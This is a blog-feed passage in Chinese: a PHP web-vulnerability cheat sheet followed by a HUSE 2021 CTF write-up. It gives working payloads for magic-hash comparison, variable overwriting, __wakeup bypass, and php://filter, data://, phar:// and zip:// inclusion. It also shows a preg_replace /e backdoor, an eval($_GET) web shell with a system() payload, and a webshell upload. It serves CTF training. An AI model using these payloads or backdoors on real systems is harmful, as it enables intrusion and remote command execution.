class="string">&#x27;0e481036490867661113260034900752&#x27;</span></span><br><span class="line"><span class="comment">// true</span></span><br><span class="line"><span class="string">&#x27;0e481036490867661113260034900752&#x27;</span> == <span class="string">&#x27;0&#x27;</span> </span><br><span class="line"></span><br><span class="line"><span class="comment">// false</span></span><br><span class="line">var_dump(<span class="string">&#x27;0&#x27;</span> == <span class="string">&#x27;0e1abcd&#x27;</span>);</span><br><span class="line"><span class="comment">// true</span></span><br><span class="line">var_dump(<span class="number">0</span> == <span class="string">&#x27;0e1abcd&#x27;</span>);</span><br><span class="line"></span><br><span class="line">var_dump(md5(<span class="string">&#x27;240610708&#x27;</span>) == md5(<span class="string">&#x27;QNKCDZO&#x27;</span>));</span><br><span class="line">var_dump(md5(<span class="string">&#x27;aabg7XSs&#x27;</span>) == md5(<span class="string">&#x27;aabC9RqS&#x27;</span>));</span><br><span class="line">var_dump(sha1(<span class="string">&#x27;aaroZmOk&#x27;</span>) == sha1(<span class="string">&#x27;aaK1STfY&#x27;</span>));</span><br><span class="line">var_dump(sha1(<span class="string">&#x27;aaO8zKZF&#x27;</span>) == sha1(<span class="string">&#x27;aa3OFF9m&#x27;</span>));</span><br></pre></td></tr></table></figure><p>如果要找出  <code>0e</code>  开头的 hash 碰撞，可以用如下代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$salt</span> = <span class="string">&#x27;vunp&#x27;</span>;</span><br><span class="line"><span class="variable">$hash</span> = <span class="string">&#x27;0e612198634316944013585621061115&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span>=<span class="number">1</span>; <span class="variable">$i</span>&lt;<span class="number">100000000000</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">    <span class="keyword">if</span> (md5(<span class="variable">$salt</span> . <span class="variable">$i</span>) == <span class="variable">$hash</span>) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$i</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&#x27;done&#x27;</span>;</span><br></pre></td></tr></table></figure><p><strong>switch</strong></p><p>如果 switch 是数字类型的 case 的判断时， switch 会将其中的参数转换为 int 类型。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$i</span> =<span class="string">&quot;2abc&quot;</span>;</span><br><span class="line"><span class="keyword">switch</span> (<span class="variable">$i</span>)  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;i is less than 3 but not negative&quot;</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;i is 3&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个时候程序输出的是 i is less than 3 but not negative，是由于 switch () 函数将  <code>$i</code>  进行了类型转换，转换结果为 2。</p><h2 id="正则表达式"><a class="markdownIt-Anchor" href="#正则表达式">#</a> <strong>正则表达式</strong></h2><p><strong>preg_match</strong></p><p>如果在进行正则表达式匹配的时候，没有限制字符串的开始和结束 ( <code>^</code>  和  <code>$</code> )，则可以存在绕过的问题</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$ip</span> = <span class="string">&#x27;1.1.1.1 abcd&#x27;</span>; <span class="comment">// 可以绕过</span></span><br><span class="line"><span class="keyword">if</span>(!preg_match(<span class="string">&quot;/(\d+)\.(\d+)\.(\d+)\.(\d+)/&quot;</span>,<span class="variable">$ip</span>)) &#123;</span><br><span class="line">  <span class="keyword">die</span>(<span class="string">&#x27;error&#x27;</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">  <span class="comment">// echo(&#x27;key...&#x27;)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>ereg %00 截断</strong></p><p>ereg 读到 %00 的时候，就截止了</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    <span class="keyword">if</span> (ereg (<span class="string">&quot;^[a-zA-Z]+$&quot;</span>, <span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]) === <span class="literal">FALSE</span>)  &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;You password must be alphabet&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>这里  <code>a=abcd%001234</code> ，可以绕过</p><h2 id="变量覆盖"><a class="markdownIt-Anchor" href="#变量覆盖">#</a> <strong>变量覆盖</strong></h2><p><strong>extract</strong></p><p>extract () 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素，键名用于变量名，键值用于变量值。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span>  </span><br><span class="line">    <span class="variable">$auth</span> = <span class="string">&#x27;0&#x27;</span>;  </span><br><span class="line">    <span class="comment">// 这里可以覆盖$auth的变量值</span></span><br><span class="line">    extract(<span class="variable">$_GET</span>); </span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$auth</span> == <span class="number">1</span>)&#123;  </span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;private!&quot;</span>;  </span><br><span class="line">    &#125; <span class="keyword">else</span>&#123;  </span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;public!&quot;</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line"><span class="meta">?&gt;</span>  </span><br></pre></td></tr></table></figure><p><strong>parse_str</strong></p><p>parse_str () 的作用是解析字符串，并注册成变量。与 parse_str () 类似的函数还有 mb_parse_str ()，parse_str 将字符串解析成多个变量，如果参数 str 是 URL 传递入的查询字符串（query string），则将它解析为变量并设置到当前作用域。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//var.php?var=new  </span></span><br><span class="line"><span class="variable">$var</span>=<span class="string">&#x27;init&#x27;</span>;  </span><br><span class="line">parse_str(<span class="variable">$_SERVER</span>[<span class="string">&#x27;QUERY_STRING&#x27;</span>]);</span><br><span class="line"><span class="comment">// $var 会变成 new</span></span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$var</span>;</span><br></pre></td></tr></table></figure><p><strong>$$ 变量覆盖</strong></p><p>如果把变量本身的 key 也当变量，也就是使用了  <code>$$</code> ，就可能存在问题。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$_</span> = <span class="string">&#x27;_POST&#x27;</span>;</span><br><span class="line"><span class="comment">// $$_ 是等于 $_POST </span></span><br></pre></td></tr></table></figure><p>例子</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// http://127.0.0.1/index.php?_CONFIG=123</span></span><br><span class="line"><span class="variable">$_CONFIG</span>[<span class="string">&#x27;extraSecure&#x27;</span>] = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">foreach</span>(<span class="keyword">array</span>(<span class="string">&#x27;_GET&#x27;</span>,<span class="string">&#x27;_POST&#x27;</span>) <span class="keyword">as</span> <span class="variable">$method</span>) &#123;</span><br><span class="line">    <span class="keyword">foreach</span>(<span class="variable">$$method</span> <span class="keyword">as</span> <span class="variable">$key</span>=&gt;<span class="variable">$value</span>) &#123;</span><br><span class="line">      <span class="comment">// $key == _CONFIG</span></span><br><span class="line">      <span class="comment">// $$key == $_CONFIG</span></span><br><span class="line">      <span class="comment">// 这个函数会把 $_CONFIG 变量销毁</span></span><br><span class="line">      <span class="keyword">unset</span>(<span class="variable">$$key</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_CONFIG</span>[<span class="string">&#x27;extraSecure&#x27;</span>] == <span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;flag &#123;****&#125;&#x27;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>unset</strong></p><p><code>unset($bar);</code>  用来销毁指定的变量，如果变量  <code>$bar</code>  包含在请求参数中，可能出现销毁一些变量而实现程序逻辑绕过。</p><h2 id="特殊的-php-代码格式"><a class="markdownIt-Anchor" href="#特殊的-php-代码格式">#</a> <strong>特殊的 PHP 代码格式</strong></h2><p>以这种后缀结尾的 php 文件也能被解析，这是在 fast-cgi 里面配置的</p><ul><li>.php2</li><li>.php3</li><li>.php4</li><li>.php5</li><li>.php7</li><li>.phtml</li></ul><p>正则检测文件内容中包含  <code>&lt;?</code>  就异常退出，通常的 PHP 代码就不行了，可以使用这种方式绕过</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;script language=<span class="string">&quot;php&quot;</span>&gt;</span><br><span class="line"><span class="keyword">echo</span> base64_encode(file_get_contents(<span class="string">&#x27;flag.php&#x27;</span>));</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>效果等于 echo ‘a’;</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?=</span><span class="string">&#x27;a&#x27;</span>;<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>如果在 php.ini 文件中配置允许 ASP 风格的标签</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; Allow ASP-style &lt;% %&gt; tags.</span></span><br><span class="line"><span class="comment">; http://php.net/asp-tags</span></span><br><span class="line"><span class="attr">asp_tags</span> = <span class="literal">On</span></span><br></pre></td></tr></table></figure><p>则可以使用该方式</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;% <span class="keyword">echo</span> <span class="string">&#x27;a&#x27;</span>; %&gt;</span><br></pre></td></tr></table></figure><h2 id="伪随机数"><a class="markdownIt-Anchor" href="#伪随机数">#</a> <strong>伪随机数</strong></h2><p><strong>mt_rand()</strong></p><p>mt_rand () 函数是一个伪随机发生器，即如果知道随机数种子是可以预测的。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$seed</span> = <span class="number">12345</span>;</span><br><span class="line">mt_rand(<span class="variable">$seed</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$ss</span> = mt_rand();</span><br></pre></td></tr></table></figure><p>linux 64 位系统中，rand () 和 mt_rand () 产生的最大随机数都是 2147483647，正好是 2^31-1，也就是说随机播种的种子也是在这个范围中的，0 – 2147483647 的这个范围是可以爆破的。<br>但是用 php 爆破比较慢，有一个 C 的版本，可以根据随机数，爆破出种子 <a href="https://link.zhihu.com/?target=http%3A//www.openwall.com/php_mt_seed/">php_mt_seed</a>。</p><p>在 php &gt; 4.2.0 的版本中，不再需要用 srand () 或 mt_srand () 函数给随机数发生器播种，现已由 PHP 自动完成。php 中产生一系列的随机数时，只进行了一次播种，而不是每次调用 mt_rand () 都进行播种。</p><p><strong>rand()</strong></p><p>rand () 函数在产生随机数的时候没有调用 srand ()，则产生的随机数是有规律可询的。具体的说明请看<a href="https://link.zhihu.com/?target=http%3A//www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/">这里</a>。产生的随机数可以用下面这个公式预测:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 一般预测值可能比实际值要差1</span><br><span class="line">state[i] = state[i-3] + state[i-31]</span><br></pre></td></tr></table></figure><p>可以用下面的代码验证一下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$randStr</span> = <span class="keyword">array</span>(); </span><br><span class="line"><span class="keyword">for</span>(<span class="variable">$i</span>=<span class="number">0</span>;<span class="variable">$i</span>&lt;<span class="number">50</span>;<span class="variable">$i</span>++) &#123;  <span class="comment">//先产生 32个随机数 </span></span><br><span class="line">    <span class="variable">$randStr</span>[<span class="variable">$i</span>]=rand(<span class="number">0</span>,<span class="number">30</span>); </span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$i</span>&gt;=<span class="number">31</span>) &#123; </span><br><span class="line">        <span class="keyword">echo</span>  <span class="string">&quot;<span class="subst">$randStr</span>[<span class="subst">$i</span>]=(&quot;</span>.<span class="variable">$randStr</span>[<span class="variable">$i</span><span class="number">-31</span>].<span class="string">&quot;+&quot;</span>.<span class="variable">$randStr</span>[<span class="variable">$i</span><span class="number">-3</span>].<span class="string">&quot;) mod 31&quot;</span>.<span class="string">&quot;\n&quot;</span>; </span><br><span class="line">    &#125; </span><br><span class="line">&#125; </span><br><span class="line"><span class="meta">?&gt;</span> </span><br></pre></td></tr></table></figure><h2 id="反序列化"><a class="markdownIt-Anchor" href="#反序列化">#</a> <strong>反序列化</strong></h2><ul><li>__construct ()：构造函数，当对象创建 (new) 时会自动调用。但在 unserialize () 时是不会自动调用的。</li><li>__destruct ()：析构函数，当对象被销毁时会自动调用。</li><li>__wakeup () ：如前所提，unserialize () 时会自动调用。</li></ul><p>PHP  <code>unserialize()</code>  后会导致  <code>__wakeup()</code>  或  <code>__destruct()</code>  的直接调用，中间无需其他过程。因此最理想的情况就是一些漏洞 / 危害代码在  <code>__wakeup()</code>  或  <code>__destruct()</code>  中。</p><p><strong> <code>__wakeup</code>  函数绕过</strong></p><p>PHP 有个 <a href="https://link.zhihu.com/?target=https%3A//bugs.php.net/bug.php%3Fid%3D72663">Bug</a>，如果反序列化出现问题，会不去执行  <code>__wakeup</code>  函数，例如：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">xctf</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$flag</span> = <span class="string">&quot;111&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">exit</span>(<span class="string">&#x27;bad requests&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//echo serialize(new xctf());</span></span><br><span class="line"><span class="keyword">echo</span> unserialize(<span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>]);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;flag&#123;****&#125;&quot;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>使用这个 payload 绕过  <code>__wakeup</code>  函数</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># O:4:&quot;xctf&quot;:1:&#123;s:4:&quot;flag&quot;;s:3:&quot;111&quot;;&#125;</span><br><span class="line">http://www.example.com/index.php?code=O:4:&quot;xctf&quot;:2:&#123;s:4:&quot;flag&quot;;s:3:&quot;111&quot;;&#125;</span><br></pre></td></tr></table></figure><p>在字符串中，前面的数字代表的是后面字符串中字符的个数，如果数字与字符个数不匹配的话，就会报错，因此将 1 改成 2 就会产生报错，导致不会去执行  <code>__wakeup</code>  函数，从而绕过该函数。</p><h2 id="文件包含"><a class="markdownIt-Anchor" href="#文件包含">#</a> <strong>文件包含</strong></h2><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://10.2.1.1:20770/index.php?page=upload</span><br></pre></td></tr></table></figure><p>这种 url 很容易就能想到可能是文件包含或者伪协议读取</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://10.2.1.1:20770/index.php?page=php://filter/read=convert.base64-encode/resource=upload</span><br></pre></td></tr></table></figure><h2 id="命令执行"><a class="markdownIt-Anchor" href="#命令执行">#</a> <strong>命令执行</strong></h2><p><strong>反引号 `</strong></p><p>反引号 ` 可以调用 shell_exec 正常执行代码</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`$_GET[&#x27;v&#x27;]` 相当于 shell_exec($_GET[&#x27;v&#x27;])</span><br></pre></td></tr></table></figure><p><strong>preg_replace()</strong></p><p>触发条件：</p><ol><li>第一个参数需要 e 标识符，有了它可以执行第二个参数的命令</li><li>第一个参数需要在第三个参数中的中有匹配，不然 echo 会返回第三个参数而不执行命令，举个例子：</li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 这样是可以执行命令的</span></span><br><span class="line"><span class="keyword">echo</span> preg_replace(<span class="string">&#x27;/test/e&#x27;</span>, <span class="string">&#x27;phpinfo()&#x27;</span>, <span class="string">&#x27;just test&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 这种没有匹配上，所以返回值是第三个参数，不会执行命令</span></span><br><span class="line"><span class="keyword">echo</span> preg_replace(<span class="string">&#x27;/test/e&#x27;</span>, <span class="string">&#x27;phpinfo()&#x27;</span>, <span class="string">&#x27;just tesxt&#x27;</span>); </span><br></pre></td></tr></table></figure><p>我们可以构造这样的后门代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">@preg_replace(<span class="string">&quot;//e&quot;</span>, <span class="variable">$_GET</span>[<span class="string">&#x27;h&#x27;</span>], <span class="string">&quot;Access Denied&quot;</span>);  </span><br><span class="line"><span class="keyword">echo</span> preg_replace(<span class="string">&quot;/test/e&quot;</span>, <span class="variable">$_GET</span>[<span class="string">&quot;h&quot;</span>], <span class="string">&quot;jutst test&quot;</span>); </span><br></pre></td></tr></table></figure><p>当访问这样这样的链接时就可以被触发</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:8000/testbug.php?h=phpinfo();</span><br></pre></td></tr></table></figure><h2 id="伪协议"><a class="markdownIt-Anchor" href="#伪协议">#</a> <strong>伪协议</strong></h2><h3 id="phpfilter"><a class="markdownIt-Anchor" href="#phpfilter">#</a> <strong>php://filter</strong></h3><p>读取文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/lfi.php?file=php:<span class="comment">//filter/convert.base64-encode/resource=flag.php</span></span><br><span class="line">/lfi.php?file=php:<span class="comment">//filter/read=convert.base64-encode/resource=flag.php</span></span><br></pre></td></tr></table></figure><h3 id="phpinput"><a class="markdownIt-Anchor" href="#phpinput">#</a> <strong>php://input</strong></h3><p>写入文件， 数据利用 POST 传过去</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/test.php?file=php:<span class="comment">//input</span></span><br></pre></td></tr></table></figure><h3 id="data"><a class="markdownIt-Anchor" href="#data">#</a> <strong>data://</strong></h3><p>将 include 的文件流重定向到用户控制的输入流</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/test.php?file=data:<span class="comment">//text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==</span></span><br></pre></td></tr></table></figure><p>可以用于控制 file_get_contents 的内容为用户输入的流</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$file</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>];</span><br><span class="line"><span class="variable">$data</span> = @file_get_contents(<span class="variable">$a</span>,<span class="string">&#x27;r&#x27;</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$data</span>;</span><br></pre></td></tr></table></figure><h3 id="phar"><a class="markdownIt-Anchor" href="#phar">#</a> <strong>phar://</strong></h3><p>发现有一个文件上传功能，无法绕过，仅能上传 jpg 后缀的文件。与此同时，无法进行文件包含截断。allow_url_include=on 的状态下，就可以考虑 phar 伪协议绕过。</p><p>写一个 shell.php 文件，里面包含一句话木马。然后，压缩成 xxx.zip。然后改名为 xxx.jpg 进行上传。最后使用 phar 进行包含<br>这里的路径为上传的 jpg 文件在服务器的路径</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/index.php?id=phar:<span class="comment">//路径/xxx.jpg/shell</span></span><br></pre></td></tr></table></figure><h3 id="zip"><a class="markdownIt-Anchor" href="#zip">#</a> <strong>zip://</strong></h3><p>上述 phar:// 的方法也可以使用 zip://</p><p>然后吧 1.php 文件压缩成 zip，再把 zip 的后缀改为 png，上传上去，并且可以获得上传上去的 png 的地址。</p><p>1.zip 文件内仅有 1.php 这个文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/php?file=zip:<span class="comment">//1.png%231.php  </span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 也可以尝试不改名为png，直接使用zip上传测试一下</span></span><br><span class="line">/php?file=zip:<span class="comment">//1.zip%231.php  </span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="php" scheme="http://www.cclss.top/categories/php/"/>
    
    
    <category term="php" scheme="http://www.cclss.top/tags/php/"/>
    
  </entry>
  
  <entry>
    <title>huseweb</title>
    <link href="http://www.cclss.top/post/web_huse/"/>
    <id>http://www.cclss.top/post/web_huse/</id>
    <published>2021-04-26T12:22:39.000Z</published>
    <updated>2021-05-01T05:04:23.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="huse-2021-ctf"><a class="markdownIt-Anchor" href="#huse-2021-ctf">#</a> huse 2021 ctf</h1><h2 id="0x01-web"><a class="markdownIt-Anchor" href="#0x01-web">#</a> 0x01  web</h2><h3 id="1-web_signin"><a class="markdownIt-Anchor" href="#1-web_signin">#</a> 1. web_signin</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="keyword">include</span>(<span class="string">&quot;config.php&quot;</span>);</span><br><span class="line"><span class="variable">$a</span>=@<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>];</span><br><span class="line"><span class="variable">$b</span>=@<span class="variable">$_POST</span>[<span class="string">&#x27;b&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$a</span>==<span class="string">&quot;huse&quot;</span> &amp;&amp; <span class="variable">$b</span> == <span class="string">&quot;CTF&quot;</span>)&#123;</span><br><span class="line">   <span class="keyword">echo</span> <span class="variable">$flag</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">   <span class="keyword">echo</span> <span class="string">&quot;hello,do you know how to sign in?&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析源码</p><p>题目要求 传 a 和 b 且 a 的值为 huse b 的值为 CTF</p><p>a 采用 get 方式传参  b 采用 post 方式传参</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210425205001.png" alt="image-20210425163233493"></p><h3 id="2-button_login"><a class="markdownIt-Anchor" href="#2-button_login">#</a> 2. button_login</h3><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210425204952.png" alt="image-20210425163507068"></p><p>去除限制</p><p>发现提示 you are not login!</p><p>用 burpsuite 抓包查看</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210425204944.png" alt="image-20210425173157905"></p><p>将 islogin 修改为 1</p><p>成功获取 flag</p><h3 id="3-rbt_cmd"><a class="markdownIt-Anchor" href="#3-rbt_cmd">#</a> 3. rbt_cmd</h3><p>打开页面提示 robots  访问 robots.txt 获取  cmd.php</p><p>shell.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line">@<span class="keyword">eval</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;shell&#x27;</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?shell&#x3D;system(&quot;tac%20config.php&quot;);</span><br></pre></td></tr></table></figure><h3 id="4easy_upload"><a class="markdownIt-Anchor" href="#4easy_upload">#</a> 4.easy_upload</h3><p>f12 查看源码发现有上传框鼠标移到中间位置出现</p><p>发现白名单  jpg,png,jif</p><p>打开 burpsuite</p><p>准备好一句话木马上传，将文件改为 xx.php</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210425204934.png" alt="image-20210425173953923"></p><p>获得目录 用 antsword</p><h3 id="5include"><a class="markdownIt-Anchor" href="#5include">#</a> 5.include</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$page&#x3D;&quot;pdata:&#x2F;&#x2F;hp:&#x2F;&#x2F;&quot;;&#x2F;&#x2F;data</span><br><span class="line">while (strstr($page, &quot;php:&#x2F;&#x2F;&quot;)) 